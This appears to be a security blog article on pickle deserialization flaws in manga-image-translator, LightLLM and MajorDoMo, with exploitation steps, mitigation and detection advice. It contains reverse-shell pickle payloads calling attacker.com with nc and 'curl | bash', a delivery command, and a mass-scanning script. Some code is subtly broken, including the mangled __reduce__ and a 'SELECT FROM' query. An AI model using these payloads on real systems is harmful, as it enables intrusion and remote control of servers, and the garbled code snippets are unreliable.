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Introduction
February 2026 witnessed a torrent of critical vulnerabilities unearthed by security researcher Valentin Lobstein, including eight CVEs in MajorDoMo (a popular smart home platform) and two remote code execution (RCE) flaws in manga-image-translator and LightLLM, both rooted in Python’s pickle deserialization. These findings underscore a systemic risk: insecure deserialization in AI/ML pipelines and IoT devices can be weaponized at scale. With over 100 detection plugins authored for LeakIX, Lobstein’s work demonstrates how internet-wide scanning is the first line of defense against such threats. This article dissects the mechanics of pickle-based attacks, provides step-by-step exploitation and mitigation guides, and explores the future of securing AI-driven infrastructures.
Learning Objectives
- Understand the inner workings of Python pickle deserialization vulnerabilities and their exploitation vectors.
- Learn to identify exposed instances of MajorDoMo, manga-image-translator, and LightLLM using scanning techniques akin to LeakIX.
- Implement robust mitigation strategies, including secure serialization alternatives and continuous monitoring.
You Should Know
1. Anatomy of a Pickle Deserialization Attack
Python’s `pickle` module is inherently unsafe: it allows arbitrary code execution during unpickling by leveraging the `__reduce__` method. An attacker can craft a malicious pickle payload that, when deserialized by a vulnerable application, executes system commands.
Step-by-Step: Creating a Malicious Pickle Payload
1. Generate a reverse shell payload using Python:
import pickle
import os
class Evil(object):
def <strong>reduce</strong>(self):
return (os.system, ('nc -e /bin/sh attacker.com 4444',))
payload = pickle.dumps(Evil())
with open('malicious.pkl', 'wb') as f:
f.write(payload)
2. Set up a listener on the attacker’s machine:
nc -lvnp 4444
3. Deliver the payload to a vulnerable endpoint (e.g., via file upload, API parameter). Once unpickled, the target connects back, granting a shell.
How to Test Locally
Simulate a vulnerable service that unpickles user input:
import pickle
data = input("Enter pickled data: ")
obj = pickle.loads(data) Dangerous!
Run this and feed the malicious payload to see the shell trigger.
- Scanning for Exposed MajorDoMo Instances with LeakIX Methodology
LeakIX, a search engine for leaked data, uses custom plugins to detect vulnerable services. To replicate its approach for MajorDoMo (which typically runs on port 80/443), you can use Shodan or a custom Python scanner.
Using Shodan CLI
shodan search "http.title:'MajorDoMo' || 'MajorDoMo' '200 OK'" --fields ip_str,port --limit 100
Custom Python Scanner
import requests
from concurrent.futures import ThreadPoolExecutor
def check_target(ip):
try:
r = requests.get(f"http://{ip}/objects/", timeout=3)
if "MajorDoMo" in r.text:
print(f"Vulnerable MajorDoMo: {ip}")
except: pass
ips = ["192.168.1.1", "10.0.0.1"] Replace with IP list
with ThreadPoolExecutor(max_workers=10) as executor:
executor.map(check_target, ips)
This script looks for the default `objects/` path that might expose internal data. Combine with banner grabbing to confirm version and potential vulnerabilities (like the RCEs disclosed).
3. Exploiting CVE-2026-26215: manga-image-translator RCE
manga-image-translator, a tool for translating text in manga images, suffered from a pickle deserialization flaw in its API endpoint. An attacker could send a malicious pickle object to achieve RCE.
Exploitation Steps
- Identify the service – often runs on port 5000 or 8000. Use Nmap:
nmap -p 5000,8000 --script http-title <target>
- Craft the exploit payload (as in Section 1) and encode it in base64 to avoid transport issues:
import pickle, base64, os class Payload: def <strong>reduce</strong>(self): return (os.system, ('curl http://attacker.com/shell.sh | bash',)) print(base64.b64encode(pickle.dumps(Payload()))) - Send the payload to the vulnerable endpoint (e.g.,
/api/translate):curl -X POST http://target:5000/api/translate -H "Content-Type: application/octet-stream" --data-binary @payload.b64
- Catch the reverse shell on your listener. This demonstrates how an attacker can compromise the translation server.
Mitigation
The developer patched this by replacing `pickle` with `json` for data exchange. Always avoid pickle for untrusted data.
4. Mitigating Pickle Deserialization in AI/ML Platforms (LightLLM)
LightLLM, an open-source LLM serving framework, was vulnerable (CVE-2026-26220) due to insecure deserialization of model configuration files. Attackers could craft malicious pickle files to gain RCE.
Secure Serialization Alternatives
- Use `yaml.safe_load` instead of
pickle.load:import yaml config = yaml.safe_load(open("config.yaml")) - JSON with schema validation:
import json, jsonschema schema = {...} Define expected structure data = json.loads(request.data) jsonschema.validate(data, schema)
Hardening LightLLM
- Update to the latest patched version – the fix replaces pickle with JSON in configuration loading.
- Restrict file permissions on model directories to prevent unauthorized writes.
- Use Docker with read-only root filesystem to contain potential breaches.
FROM python:3.9 RUN --mount=type=bind,target=/app CMD ["python", "app.py"] docker run --read-only --tmpfs /tmp my-lightllm-image
5. Hardening Smart Home Systems: Lessons from MajorDoMo
MajorDoMo’s eight CVEs included SQL injection, XSS, supply chain flaws, and three critical RCEs. To protect similar IoT systems:
Input Validation & Parameterized Queries
For SQLi (like CVE-2026-xxxx), always use parameterized queries:
// Vulnerable code
$id = $_GET['id'];
$result = mysqli_query($conn, "SELECT FROM devices WHERE id = $id");
// Secure
$stmt = $conn->prepare("SELECT FROM devices WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
Supply Chain Security
- Verify integrity of third-party libraries via checksums.
- Regularly update components:
Linux apt update && apt upgrade Windows (using Chocolatey) choco upgrade all
Patch Management
Subscribe to vendor security advisories and automate patching where possible. For MajorDoMo, a patch was released; apply it immediately.
6. Building Detection Plugins for Internet-Wide Scanning
LeakIX plugins are Python scripts that test for specific vulnerabilities. You can create your own to detect pickle-deserialization flaws.
Sample Plugin for a Fake Service
plugin_mypickle.py
import requests
import pickle
import base64
def check(ip, port):
try:
Send a benign pickle that triggers an error if deserialized
test_payload = base64.b64encode(pickle.dumps("test")).decode()
r = requests.post(f"http://{ip}:{port}/vuln_endpoint",
data=test_payload,
headers={"Content-Type": "application/octet-stream"},
timeout=5)
If the response contains a stack trace with "pickle", it's vulnerable
if "UnpicklingError" in r.text or "pickle" in r.text:
return {"vulnerable": True, "service": "PickleDeserialize"}
except:
return None
Integrate this with a scanner like LeakIX or ZGrab to continuously monitor the internet for vulnerable services.
7. Defensive Measures: From Deserialization to Continuous Monitoring
A layered defense is essential.
Runtime Protection
- Use WAF rules to block serialized objects in requests (e.g., detect `cPickle` or `pickle` magic bytes).
- For Python apps, consider `pickle` whitelisting or using `pickle.Unpickler` with a restricted
find_class.
Monitoring for Exploitation Attempts
- Log all unpickling errors and alert on anomalies.
- On Linux, monitor logs:
tail -f /var/log/app.log | grep -i "unpicklingerror"
- On Windows PowerShell:
Get-Content C:\Logs\app.log -Wait | Select-String "UnpicklingError"
Incident Response
If a pickle deserialization attack is detected, immediately isolate the host, rotate credentials, and analyze the payload to understand the attacker’s actions.
What Undercode Say
- Key Takeaway 1: Python’s pickle deserialization is a persistent Achilles’ heel in AI/ML and IoT applications, enabling RCE with minimal effort. Developers must treat all unpickling of external data as a critical security flaw.
- Key Takeaway 2: Internet-wide scanning platforms like LeakIX are indispensable for proactive defense; they expose vulnerable assets before attackers can exploit them. The 100+ plugins authored by Valentin Lobstein exemplify how automation can scale vulnerability discovery.
The recent wave of CVEs highlights a troubling trend: as AI and smart home technologies proliferate, so do insecure implementations of fundamental programming constructs. The pickle vulnerabilities in manga-image-translator and LightLLM are especially concerning because they reside in the supply chain of machine learning pipelines—compromising them could lead to poisoned models or data breaches. Organizations must shift left by integrating security into development, using safe serialization formats, and deploying continuous monitoring. The community’s rapid response, with patches and detection plugins, shows the power of collaborative security research, but the onus remains on every engineer to adopt these practices.
Prediction
In the next 12–18 months, we will witness a surge in automated attacks targeting pickle deserialization in AI/ML platforms. Attackers will deploy bots scanning for exposed endpoints, leading to mass compromises of model servers and data lakes. This will drive the industry toward mandatory use of safe serialization (e.g., JSON, Protocol Buffers) and runtime sandboxing for untrusted code. Regulatory bodies may also introduce guidelines for secure AI deployment, forcing vendors to certify their software against deserialization flaws. The cat-and-mouse game between researchers and adversaries will intensify, but those who embrace proactive scanning and secure coding will stay ahead.
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IT/Security Reporter URL:
Reported By: Valentin L1337 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
